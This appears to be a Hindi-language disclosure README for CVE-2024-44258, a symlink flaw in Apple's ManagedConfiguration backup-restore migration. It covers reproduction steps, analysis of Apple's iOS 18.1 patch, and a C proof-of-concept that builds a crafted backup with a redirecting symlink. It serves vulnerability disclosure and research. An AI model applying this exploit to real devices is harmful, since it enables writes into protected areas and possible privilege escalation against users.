
CVE-2024-44258
CVE-2024-44258 Apple उपकरणों में ManagedConfiguration फ्रेमवर्क और profiled डेमॉन के भीतर एक सिमलिंक भेद्यता को उजागर करता है। जब एक क्राफ्टेड बैकअप पुनर्स्थापित किया जाता है, तो माइग्रेशन प्रक्रिया यह सत्यापित करने में विफल रहती है कि गंतव्य फ़ोल्डर एक सिम्बोलिक लिंक (सिमलिंक) है या नहीं, जिससे प्रतिबंधित क्षेत्रों में अनधिकृत फ़ाइल माइग्रेशन होता है।
CVE-2024-44258 इस मुद्दे को सौंपा गया है। CVE सार्वजनिक रूप से खुलासा की गई सुरक्षा भेद्यताओं के लिए अद्वितीय पहचानकर्ता हैं।
अधिक जानकारी के लिए, कृपया Apple के आधिकारिक सहायता पृष्ठों को देखें:
यह भेद्यता हमलावरों को बैकअप पुनर्स्थापना के दौरान सिम्बोलिक लिंक का लाभ उठाकर फ़ोल्डर प्रतिबंधों को दरकिनार करने और सैंडबॉक्स किए गए या संरक्षित क्षेत्रों में फ़ाइलें लिखने की अनुमति देती है। यह दोष संभावित रूप से अनधिकृत डेटा पहुंच, विशेषाधिकार वृद्धि, या संशोधित कॉन्फ़िगरेशन पर निर्भर अन्य सेवाओं के शोषण की अनुमति दे सकता है।
एक क्राफ्टेड बैकअप बनाएं
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
वांछित फ़ाइलें जोड़ें
/private/var/mobile/Library/ConfigurationProfilesक्राफ्टेड बैकअप को पुनर्स्थापित करें
डिवाइस को रीबूट करें
अपेक्षित:
/private/var/mobile/Library/ConfigurationProfiles को इसमें स्थानांतरित होना चाहिए:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
वास्तविक:
क्राफ्टेड सिमलिंक के कारण, फ़ाइलें एक प्रतिबंधित फ़ोल्डर में स्थानांतरित हो जाती हैं जिसमें संवेदनशील या संरक्षित डेटा हो सकता है।
यह भेद्यता कई महीनों से जंगल में देखी गई है, जो इसके सक्रिय शोषण को इंगित करती है।
iOS 18.1 beta5 में, Apple ने ManagedConfiguration फ्रेमवर्क के भीतर सिमलिंक भेद्यता को संबोधित करने के लिए एक पैच पेश किया। गंतव्य पथ पर सुरक्षा जांच करने के लिए फ़ंक्शन _MCDestinationPathIsSafeFromSymlinkAttacks जोड़ा गया, जो प्रतिबंधित क्षेत्रों में अनधिकृत फ़ाइल माइग्रेशन को रोकता है। यह जांच विशेष रूप से फ़ंक्शन MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error: में जोड़ी गई थी।
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]भेद्यता सुधार फ़ंक्शन -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:] को संशोधित करके लागू किया गया था, जो ManagedConfiguration फ्रेमवर्क के भीतर फ़ाइल माइग्रेशन को संभालने के लिए जिम्मेदार है। पैच इस प्रकार काम करता है:
सिमलिंक जांच का जोड़
Apple ने MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error: की शुरुआत में _MCDestinationPathIsSafeFromSymlinkAttacks का एक कॉल जोड़ा। यह फ़ंक्शन अब यह सत्यापित करता है कि गंतव्य पथ सिम्बोलिक लिंक से मुक्त है, जो किसी भी माइग्रेशन ऑपरेशन को करने से पहले सुरक्षा की एक परत जोड़ता है।
शर्त जांच
यदि _MCDestinationPathIsSafeFromSymlinkAttacks गंतव्य पथ में एक सिमलिंक का पता लगाता है, तो यह माइग्रेशन को आगे बढ़ने से रोकता है। फ़ंक्शन OS_LOG_TYPE_FAULT का उपयोग करके एक फॉल्ट संदेश लॉग करता है और जल्दी बाहर निकलता है, फ़ाइल ऑपरेशन को रोकता है।
IDA में Diaphora का उपयोग करके, iOS 18.1 beta4 और iOS 18.1 beta5 के बीच एक अंतर तुलना -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:] फ़ंक्शन में परिवर्तनों को प्रकट करती है। नीचे दी गई छवि जोड़े गए सिमलिंक जांच के साथ संशोधित कोड दिखाती है।

नीचे एक नमूना कोड स्निपेट है जो दर्शाता है कि भेद्यता का शोषण करने वाला बैकअप कैसे तैयार किया जाए। यह कोड बैकअप में सिमलिंक और फ़ाइलों को जोड़ने की रूपरेखा देता है, वास्तविक क्राफ्टेड बैकअप फ़ाइल प्रदान किए बिना प्रक्रिया का अनुकरण करता है।
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
backup_write_mbdb(backup); // SAVE THE BACKUP
backup_free(backup);
Apple सुरक्षा टीम को उनकी त्वरित प्रतिक्रिया और सहयोग के लिए विशेष धन्यवाद।
भेद्यता Hichem Maloufi और Christian Mina द्वारा खोजी गई
यह रिपॉजिटरी MIT लाइसेंस के तहत लाइसेंस प्राप्त है। अधिक जानकारी के लिए LICENSE देखें।